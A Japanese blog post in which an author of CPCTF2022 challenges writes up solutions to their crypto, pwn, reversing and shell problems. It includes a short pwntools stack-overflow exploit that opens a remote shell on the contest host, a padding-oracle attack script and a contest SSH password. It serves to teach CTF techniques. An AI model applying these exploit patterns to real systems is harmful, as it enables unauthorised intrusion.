こんにちは~
21Bのankoです。普段はCTF班・SysAd班などで活動しています。この記事は5/1に行われたCPCTF2022の作問者writeupです。
writeup
Crypto
- My own language
- RSA warmup
- poweRSA
- xxorxx
- OreOrePadding
- xoRSA
- Huge Magic
Pwn
- Smash Stack
Reversing
- Link Your Wish
- pyck up!
Shell
- Find Image
- Veeeeeeery Long Text
Misc
- This is Flag!!
の13問を作問しました。
Crypto
Newbieは75solvedとCPCTFで最も解かれ、Huge Magicは3solvedとhard問らしいsolve数となり、tessoさんのMedium問のおかげで全体的にいい感じに難易度勾配ができたと思います。
My own language
難易度: Newbie
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
32 | 0 | 0 | 41 |
問題
Ya! Lxi zyq etxn sawo rtooxmto? Metxs! Sawo wo x pwin yb owrugt oqcoswsqswyi lwuate saxs etugxlto x gtsste dwsa ysate gtsste. Sat Lxtoxe lwuate, yit yb sat bxryqo oqcoswsqswyi lwuateo, axo ctti wi qot owilt sat swrt yb sat xilwtis Eyrxi Truwet. sat bgxm wo atet. LULSB{dtglyrt_sy_lezusy_dyegn}.
解法
- 換字式暗号っぽいので1文字ずつ置換していくとフラグに辿り着きます
感想
CTFで一番最初に解く暗号といえばこれですよね。徐々に分かってくるこれが案外楽しくて好きです。
RSA warmup
難易度: Newbie
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
47 | 0 | 0 | 28 |
問題
多くの秘密を守る為、現代ではRSA暗号がよく使われています。そこでRSA暗号の仕組みについて問う問題です。
RSA暗号とは剰余上の累乗を使った暗号です。具体的には暗号化は次のようにして計算します。
- 素数 を生成して を計算
- 平文 に対して暗号文 は
例えば
とすると暗号文 は となります。
それでは逆に復号化はどうやってやるのでしょうか?暗号文と を与えるので平文をフラグの中に書いて提出してください。例えば平文が1であれば CPCTF{1}
と書きます。
解法
- 暗号化では 乗したので逆に 乗すれば復号化できます。
- を計算するのに素因数分解が必要です。factorDB などを使うとよいです。
- あとは下の式を計算すると平文が求まります。
感想
415411が2つの素数の積に分けられるのは運命を感じました。
poweRSA
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
28 | 0 | 1 | 2 |
問題
ヤーーッ!パワーーッ!(ニッ
ソースコード
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p * q
e = 0x10001
r = pow(p, q, N)
c = pow(m, e, N)
print("N:", N)
print("r:", r)
print("c:", c)
暗号
N: 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113
r: 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277
c: 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846
解法
- は の倍数であることが言えるので と最大公約数を取ると が求まります。または中国剰余定理とフェルマーの小定理を合わせることで といえます。
- その後はRSA warmupと同じように復号化の手順を踏み、アルファベットに変換することでフラグが得られます。
感想
pycryptodomeライブラリの周知ができておらず、どうやって実行するのかわからないという新入生を見つけて反省しています。
xxorxx
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
37 | 0 | 2 | 0 |
問題
たくさん書き換えれば誰にもわからないよね!
暗号
VEVASnm%gJ$ Jv%xx`"!"$c&h
ソースコード
import random
from secret import FLAG
def encrypt(message):
text = list(message.encode('ascii'))
for _ in range(100):
a = random.randrange(1, 32)
b = random.randrange(1, 32)
for i in range(len(text)):
text[i] = a ^ ((b ^ text[i]) ^ a) ^ b ^ a
ciphertext = bytes(text)
return ciphertext
cipher = encrypt(FLAG)
with open('ciphertext', 'wb') as f:
f.write(cipher)
解法
- xorには可換性、交換法則、
a ^ 0 = a
、a ^ a = 0
などの性質が成り立つので、この暗号は単に1回xorしたのと同じと分かり、全探索してフラグが分かります。
感想
もうちょっとひねりがあった方がよかったかもしれません。
xoRSA
難易度: Medium
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
13 | 0 | 0 | 0 |
問題
xorはどうでしょう?
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p * q
e = 0x10001
r = p ^ q
c = pow(m, e, N)
print("N:", N)
print("r:", r)
print("c:", c)
N: 139235503042254064309077770393646303188942297355939447781301184315203838859708059442664051761405959677829133089623281802087683459545012063052518520162574418228020183263503188755631546115378748820877275662985471380538866444727972253523529478172173764971657050954361550621570419637334416893964171956073756253683
r: 2801100288064419562600390075938194804946814447692950383217940430289559572204430453666455060156787941865713268546984846036400686381392754238345213095810930
c: 134017111202608866662558829383137221565544181337212980453878508930371299655821193584325508580634129141615833716029358887057381456183078031792155245346229544675476657533772320436013445416509011795199275870216737672382794015629537402921916258992699801915108288439413630382725197837732201368067433140286862659773
解法
- 現在知っている上位ビットを とおくと かつ という不等式が成り立ちます。これより上位ビットから決め打つ幅優先探索を行うことで求まります。
感想
xorと累乗の記号^
セットで作問できてウェイ!って感じでしたが一方は既出だったようですsorry
Ore Ore Padding
難易度: Medium
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
4 | 0 | 0 | 0 |
問題
オレのパディングを使えばセキュアに通信できるぞ!
nc ore-ore-padding.cpctf.space 30003
OreOrePadding.py
解法
- 適応的選択暗号文攻撃です。 を復号すると となるという性質を使います。
- をパディングチェックに通すと次のどちらかになることがわかります。
すると平文の範囲が半分に狭まります。
上の情報を踏まえた上で次は を復号した をパディングチェックに通すと
となりさらに平文の範囲を狭められます。
これを繰り返すことでmの値が分かります。
def solve():
result = []
for i in range(1024):
oracle = send(c * pow(1 << i, e, n) % n)
if oracle == b'ok':
result.append(0)
else:
result.append(1)
a = 0
b = 1
for r in result:
a *= 2
a += r
b *= 2
m = (a * n) // b
print(long_to_bytes(m))
感想
終盤になるまで誰にも解かれなくて何かミスしているのではないかとかなりヒヤヒヤしました。
Huge Magic
難易度: Hard
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
3 | 0 | 0 | 0 |
問題
from Crypto.Util.number import *
m = bytes_to_long(b'CPCTF{?????????????????????????????}')
p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
d = 0
while d**3 < N:
e = getPrime(514)
d = pow(e, -1, phi)
c = pow(m, e, N)
mask = (1 << 1024) - (1 << 512)
dd = int(d) & mask
print('N =', N)
print('e =', e)
print('c =', c)
print('d_upper =', dd)
output.txt
N = 90939223859721065610862935537695556968207179624083547609382959391827970213188073925738609095340887508982374819507763202990382116637689482996125719987547439400438940425520466328564578769932561021300052714824099962904717048919588246699001362600740100562799202415816271733958726809148191957178448878640211971217
e = 28780878885028029068009854941107723615805003289445958462835891799353913131016679625734191623589757264242993681053068956238879702667424667826079781093408259
c = 42678683035923131049668970168808767748635738063581032910985111593991437942421857644016165577254233191954978738490214943784505496063268068874463327064146221195508854470118344191042977681958992317632527386820178940658851201573898000949859645820453170483089403811044443420762095480823433515466852482982648738753
d_upper = 72815241641832913015306069498292671365374835875329728442889034517829457910454728333660542813457668021234877811900502752976627600651671619241693728523710188202970669731628977009483014396067288624201942230853870533712235114035353137804457928890449073378488353230526173552347689356510938533461621504590982676480
解法
まずは と の関係式を立てると
この式について より第二項は上位ビットに関連する情報をほとんど持ちません。これより第一項の について上位ビットと一致する の候補を見つけることができます。ただ若干の誤差があるのでそれを考慮する必要があります。
次に を求めます。ここはいくつかの解法があり、想定解は を法として を求めます。
他にも を の下位ビット、 として拡張ユークリッドの互除法を行い、不定方程式を解きます。LLLを使ったりしても解けるそうです。
これで が分かったので と合わせて2次方程式にして を解くことができます。後は復号化の手順を追って解読できます。
感想
今回どうにかしてLLLやCoppersmith、Gröbner基底などを使わせずして解けるhard問というものを構想して作問しました。新入生に対してはわかりやすい解説となり、上級者に対しては「Partial Key Exposure AttackなのにCoppersmith methodを使わない!?」という驚きを提供しようといった感じです。(どうでしたでしょうか?)
競技後のTLを見てみたら上級者も楽しめたようでなりよりです。
それとソースコードをsagemathからpythonに変換する際に若干誤りが出てしまって申し訳ないです。
Crypto感想
自分が作った問題はRSA暗号ばかりで今にもつまらんぞパンチを食らっちゃいそうです...楕円曲線暗号を出題したいと思っていましたがオリジナリティを出すのが難しく、作れたとしても既出という産みの苦しみを味わいました。来年こそはバラエティのあるコンテストにします!
Pwn
Smash Stack
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
19 | 0 | 0 | 2 |
問題
Let's learn how to exploit!
接続先
nc smash-stack.cpctf.space 30005
解法
- スタックオーバーフローさせてリターンアドレスを目的の関数アドレスに書き換えることでリモートのシェルを奪うことができます。後はフラグを出力させれば正解です。
- pythonにはpwntoolsという便利なパッケージがあるのでそれを使うと下のコードでシェルを奪えます
from pwn import *
# io = process("./chall")
io = remote('smash-stack.cpctf.space', 30005)
payload = b'A' * 40 + p64(0x4012bc)
io.sendline(payload)
io.interactive()
感想
これを解けた新入生が1人のみということで申し訳ない!来年はもっと新入生に解けるようなpwn問を提供します!
あとほそぼそとカーネルエクスプロイト問を解く会をしているのでそれも出したいですね。
Reversing
Link Your Wish
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
9 | 0 | 0 | 1 |
問題
Let's link!
解法
2つの解法を想定しています。
1つはリンクして実行するという解法です。
このバイナリは共有ライブラリを使ったプログラムであるからリンクしないと動きません。そこでリンクさせるにはLD_LIBRARY_PATHにリンクさせたいライブラリのパスを設定することで自動でリンクしてくれます。
$ export LD_LIBRARY_PATH=.
もう1つはバイナリの中からフラグを取ってくるという方法です。
まずobjdumpを使ってバイナリの中身を見てみます。
$ objdump -S -M intel main
...
0000000000001149 <main>:
1149: f3 0f 1e fa endbr64
114d: 55 push rbp
114e: 48 89 e5 mov rbp,rsp
1151: b8 00 00 00 00 mov eax,0x0
1156: e8 f5 fe ff ff call 1050 <print@plt>
115b: b8 00 00 00 00 mov eax,0x0
1160: 5d pop rbp
1161: c3 ret
...
$ objdump -S -M intel libwish.so
...
0000000000001139 <print>:
...
1154: 48 b8 42 51 42 55 47 movabs rax,0x65357a4755425142
115b: 7a 35 65
115e: 48 ba 77 32 6f 75 74 movabs rdx,0x5e327374756f3277
1165: 73 32 5e
1168: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax
116c: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx
1170: 48 b8 31 67 5e 6d 30 movabs rax,0x326a6f306d5e6731
1177: 6f 6a 32
...
1191: 8b 45 cc mov eax,DWORD PTR [rbp-0x34]
1194: 48 98 cdqe
1196: 0f b6 44 05 d0 movzx eax,BYTE PTR [rbp+rax*1-0x30]
119b: 83 f0 01 xor eax,0x1
119e: 89 c2 mov edx,eax
11a0: 8b 45 cc mov eax,DWORD PTR [rbp-0x34]
11a3: 48 98 cdqe
11a5: 88 54 05 d0 mov BYTE PTR [rbp+rax*1-0x30],dl
11a9: 83 45 cc 01 add DWORD PTR [rbp-0x34],0x1
11ad: 83 7d cc 19 cmp DWORD PTR [rbp-0x34],0x19
11b1: 7e de jle 1191 <print+0x58>
...
11c6: e8 a5 fe ff ff call 1070 <printf@plt>
...
...
main関数からprint関数を呼び、print関数は上のようになっています。途中で値を代入している部分があるのでそれをASCIIを用いて復元するとBQBUGz5ew2outs2^1g^m0oj2s|
となります。その後すこし読んでみると1とxorしてそうなのでこの文字とxorしてみるとフラグが得られます。
感想
想定したより解かれず、やはり実行バイナリは新入生には馴染みの無い概念なんだなと感じました。traPのCTF講習会ではしっかりサポートしていきたいなと思います。
pyck up!
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
8 | 0 | 1 | 2 |
問題
我々が狙っているハッカー集団の居所を遂に見つけた。至急現場に向かったが誰一人として居なかった。そこに残されていたパソコンからデータを解析してみても、ハッカーが使っているソースコードは跡形も無い。しかしながら代わりにこんなファイルを入手できた。
解法
pycファイルのディスアセンブラであるdisライブラリを用いて解析すると次の命令列となっていることがわかります。
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (base64)
6 STORE_NAME 0 (base64)
3 8 BUILD_LIST 0
10 LOAD_CONST 2 ((b'Q1BDVEZ7PEZmd1BcbCgzWl8mYGAyN2RpQVZ9', b'Q1BDVEZ7VUQ3TGEqTkIwSzFVZW4zQWcrKG99', b'Q1BDVEZ7SnxceSpyell0Xk5fLTo+K2k3Ymp9', b'Q1BDVEZ7X3ZCRURNWENqR1QyN2M3TWRoVkl9', b'Q1BDVEZ7KzZsIW8qR1xaXDRYTCRANG0wT2h9', b'Q1BDVEZ7KVBZXGVIZmQyIXJxS0dhYi8jKXF9', b'Q1BDVEZ7cEgta1dUdy18SElzVEt9amQpLzt9', b'Q1BDVEZ7TjZeWUxRQDp1K3R2ZSktdygrTHV9', b'Q1BDVEZ7ITRTa307Ilw3V3hGJCxEKX53dWZ9', b'Q1BDVEZ7KEp9di1ATSQpUS1nPjM7fFUpLDJ9', b'Q1BDVEZ7S2w/ZnZ7dzRtKVZnbW00IX1ZRit9', b'Q1BDVEZ7USsoc3FlVGA/ajZGM3JfLToiaEd9', b'Q1BDVEZ7UTFXMmRDdEIhLi9ULnswL18uTlt9', b'Q1BDVEZ7ZGlvJnJkVT8ncC52LkokWy1SUEJ9', b'Q1BDVEZ7dTdKXlh6fXQ5LlMsSStORHhxMX59', b'Q1BDVEZ7J1UnTkFldFJZYyQxIWpxRiF3cCh9', b'Q1BDVEZ7XHhdQyxuSztfaD1HZl9sLGM0dmd9', b'Q1BDVEZ7djt1bTBAdV5bY05eUGF8RitFcUN9', b'Q1BDVEZ7YlpzMXZuJE9raFo7c2RaPHV7Snl9', b'Q1BDVEZ7OH5WL2o3WU5sWndYK21sb0lda0N9', b'Q1BDVEZ7P3tga1xybyN4Qm9mQSsuYkp6dWJ9', b'Q1BDVEZ7eiZyJT1cNj4hPFsmSmVeOlctci59', b'Q1BDVEZ7NShxL35XWH5yOGFdR0JfSG9vYiN9', b'Q1BDVEZ7YWhCVSRzWj9YLk5hTW9SPHooMit9', b'Q1BDVEZ7WzE0QX5LImZobCwhN3JKVnpPMUZ9', b'Q1BDVEZ7R2VXRiwuRVhNV0smVDpWYCpTRHd9', b'Q1BDVEZ7LnpJfGRNWXkmfX5hMCdgZmZWdmp9', b'Q1BDVEZ7YGRJWnhpVTxPe21kUnF0aHRAZkx9', b'Q1BDVEZ7Vzs4ZHhbNktceGpMQ2hNLT5iTWp9', b'Q1BDVEZ7d0o2OzBTc3pAQU9BK20xMTFQdXV9', b'Q1BDVEZ7VSc6UWU9bHchLykpSnd7SSdKKSd9', b'Q1BDVEZ7cG5OJ15rbHlvKjc2eW02XE9fJl19', b'Q1BDVEZ7Ulx9cUktWX53bmlZRkQ2VWJidkB9', b'Q1BDVEZ7KCtsLEwze1tBQ3R7RlBIfGlLRnh9', b'Q1BDVEZ7O3hsUUZaMH50TmxpcTY6MSU+Xid9', b'Q1BDVEZ7REI+fj9zJj57ZWtNUEBadHs4Ozh9', b'Q1BDVEZ7c1wuNWBfPEFubm5AdWFyWUkkWyp9', b'Q1BDVEZ7XldFdkJHPERmdEgiSCImUy42YHl9', b'Q1BDVEZ7ezJnPkx6XExrJkNUJC1EeXV0ZGF9', b'Q1BDVEZ7Q3EkfiMwK19EYTZkIl1HYk8hQix9', b'Q1BDVEZ7eUZ5X0BMaVUoOT1RQl1YPDh2Y1N9', b'Q1BDVEZ7XSJXeFt+J1Y5USpQfnl1ckAqJnZ9', b'Q1BDVEZ7VCp1S09ZX1RoRUM7RC5idTZRZyR9', b'Q1BDVEZ7LEJkTnNUTWxQc3kudiZmeFUzK0p9', b'Q1BDVEZ7SV9BYHV2XEFtNEh0Z2UrY1M4dlJ9', b'Q1BDVEZ7RF09SkpLMWtTY3o4Vk5rNmsrcSJ9', b'Q1BDVEZ7KDVkb2d3c2JPSjNYMHo5VzdkTy19', b'Q1BDVEZ7bTo9QDl0cV8udk9YKHQzWiI7QXF9', b'Q1BDVEZ7cnIxNjh8OFBwSjpaLH0/O0swaUN9', b'Q1BDVEZ7TT5IdCJzTmZWLWNNT1IqJT5zU1l9', b'Q1BDVEZ7aFI2OzVtd1o8emEvJz04JW1HXyx9', b'Q1BDVEZ7d0VrKW9tRyV9VDN6ZH4lezt1Py59', b'Q1BDVEZ7VUJQdCVgXEtVeWhWVCNaam42PnB9', b'Q1BDVEZ7TCI8fXhFPTJSNFpVWCI9O3VVQ1N9', b'Q1BDVEZ7eFRmbm14X0xuJClcSiV0fFBkYiV9', b'Q1BDVEZ7QmpBLHpwPVVJXlEiMlw+UG1UcC19', b'Q1BDVEZ7KUY4fH4xPS57SjEpYD1IPEZ1Snx9', b'Q1BDVEZ7YW5dJVVPXWg1WUI/aGs6WTY0LWZ9', b'Q1BDVEZ7WDtfYlNXZ1BTc1Jfb0A/dTR2PGt9', b'Q1BDVEZ7fSooUUhse0ZmND9CdnR2QndxeSp9', b'Q1BDVEZ7XElGb0kocEotZj19JWZOfTVKbm19', b'Q1BDVEZ7ImxdMWw0XTwkITlhRT1sVihwNE99', b'Q1BDVEZ7Pj5nckhwSXF2NUpNTUJQXGhHRV59', b'Q1BDVEZ7Y3A2Q110bEpMdSo/bmEneVMwIkd9', b'Q1BDVEZ7KG1KMGAmPEE7S0RGOSNvJDcvTS59', b'Q1BDVEZ7XkAuQkY7SnYiXkg7Sy1HW3E4U359', b'Q1BDVEZ7UEtncDpnZEA0fkJnY1cpLSpZY1V9', b'Q1BDVEZ7dVw4clg7ckN9LWJQPlwyVENBPHl9', b'Q1BDVEZ7Oj15RSYsLVlpRlBrIyg6PjdqSDp9', b'Q1BDVEZ7VXcldDhrMHZsJSlPbTUsY1QlNWZ9', b'Q1BDVEZ7MFglfi9NeU5XJm5+RGwwdSs9O1p9', b'Q1BDVEZ7bEY6Z1RPO0xBbyM2PHo3RXdRPnJ9', b'Q1BDVEZ7PCdaInpSTmpvLDFvNS1dQjBfKl59', b'Q1BDVEZ7SXVbLHk0RXx0JzE9d0R4VnBcPVt9', b'Q1BDVEZ7X253akxbeiJ3MWg3O3BRXFFxVWR9', b'Q1BDVEZ7aCkhXkl+I1pVPCxJXEk2eFZqS099', b'Q1BDVEZ7aXlLekk7VmdYQHJjSzZCaXN2J3p9', b'Q1BDVEZ7c2d2MEpGZ05GJCxlYGpmRChEeGV9', b'Q1BDVEZ7KypncUpqeFI8cUgsenosOn5sZDp9', b'Q1BDVEZ7TlI1X0ZpcDFHbVM3aTJ2RHx5SWx9', b'Q1BDVEZ7UFM1MHpsS0F0YyhGdDNvP3BKT059', b'Q1BDVEZ7VTh6QGdnKVgnOGFvdEElQ2RfJVR9', b'Q1BDVEZ7NFt6Ql9UOilScy46fkkuNW43X1l9', b'Q1BDVEZ7YXNtOm5IYXRIMSxGVCYzcz42KGd9', b'Q1BDVEZ7K31kOTxySSw5LXZOfjxAJXMuRUl9', b'Q1BDVEZ7YDN3RGZbfHxpOjQ0JS0vdVhxZzl9', b'Q1BDVEZ7MmFxTTl+Ky1lb2heYipxTTwqRWh9', b'Q1BDVEZ7ZGdEbnE2ME07IzUuaCE4L0YpQVR9', b'Q1BDVEZ7PlFuW19IWHssejNSS1YzbHtHXSF9', b'Q1BDVEZ7JmdDcHooTDNrWTJxbW1sW3w3LjN9', b'Q1BDVEZ7MiFcVzctSUNPejlHbmtESSNLJn59', b'Q1BDVEZ7PmJdeUZaWzEnTTU0XiJGXzZEJ3t9', b'Q1BDVEZ7ZmhQcDwlM1RvSTEvNG02dD1aeGl9', b'Q1BDVEZ7RGB2ZjAsM3lcb3pQfUEscm0ia099', b'Q1BDVEZ7c0QjOElpY2F6XSg/VDNGUHJYISl9', b'Q1BDVEZ7ekRHbF0lcmpjUSdWWDBCfURzelp9', b'Q1BDVEZ7QlJsR2R1RnEhWWA1MG1SXXR+NWx9', b'Q1BDVEZ7IVMjSiosQExDcjtVT0VvMEExL0x9', b'Q1BDVEZ7IzU7U2V7Q0l8fHF8P0w6d3REVF99', b'Q1BDVEZ7SD5dclJaKm4wMjBFKXtaMVgxPUl9'))
12 LIST_EXTEND 1
14 STORE_NAME 1 (data)
4 16 LOAD_CONST 3 (b'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ==')
18 STORE_NAME 2 (FLAG)
5 20 LOAD_NAME 0 (base64)
22 LOAD_METHOD 3 (b64decode)
24 LOAD_NAME 2 (FLAG)
26 CALL_METHOD 1
28 STORE_NAME 4 (supersecret)
30 LOAD_CONST 1 (None)
32 RETURN_VALUE
このコードは1つのスタックを用意してその上で走らせていて、代表的な命令の意味は次のようになります。
- LOAD_○○: 値をプッシュする
- STORE_NAME: 値を1つポップして変数名として名前を付ける
- CALL_METHOD: 値を複数ポップして関数を呼び、返り値をプッシュする
これよりsupersecret = base64.b64decode(FLAG)
としているんだなと分かり、FLAGの部分を見つけてbase64でコードすることでフラグが分かります!
感想
世のrev問、パズルではないならこのくらい簡単でいいと思ってます。
Shell
Veeeeeeery Long Text
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
44 | 4 | 4 | 1 |
問題
flag.txt
にフラグが書いてあります、やったね。
ssh user@veeeeeeery-long-text.cpctf.space -p 30004
password: P455W0I2D
解法
cat flag.txt | grep CPCTF
などとしてやると、該当部分を含む行を検索してくれます。
他にもless
では、/
で検索機能を起動できます。
Find Image
難易度: Easy
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 (解法) |
---|---|---|---|
21 | 1 | 1 | 1 |
問題
おじいちゃんは重要なファイルがどこにあるか忘れてしまいました。ディスクイメージを取ってきたので代わりに探してあげましょう。
image.img
解法
- mountコマンドなどを使ってイメージファイルを展開すると大量の「新しいフォルダー」が出てきます。
- どうやら2重にフォルダーがあるだけのようなのでfindコマンドを使ってファイルを見つけ出します。するとフラグとなる画像ファイルが出てきます。
感想
おじいちゃん逆にこれでよく触ってこれたな!
さいごに
私はCTFを始めて初の作問側に立ちました!よわよわなりに楽しめられるような問題を作れたと思います。また、運営やインフラなども関わって限界開発を楽しめました!ただ多数の不備で参加者を混乱させてしまって申し訳ないです。
参加者のみなさん、CPCTF2022に参加していただきありがとうございました!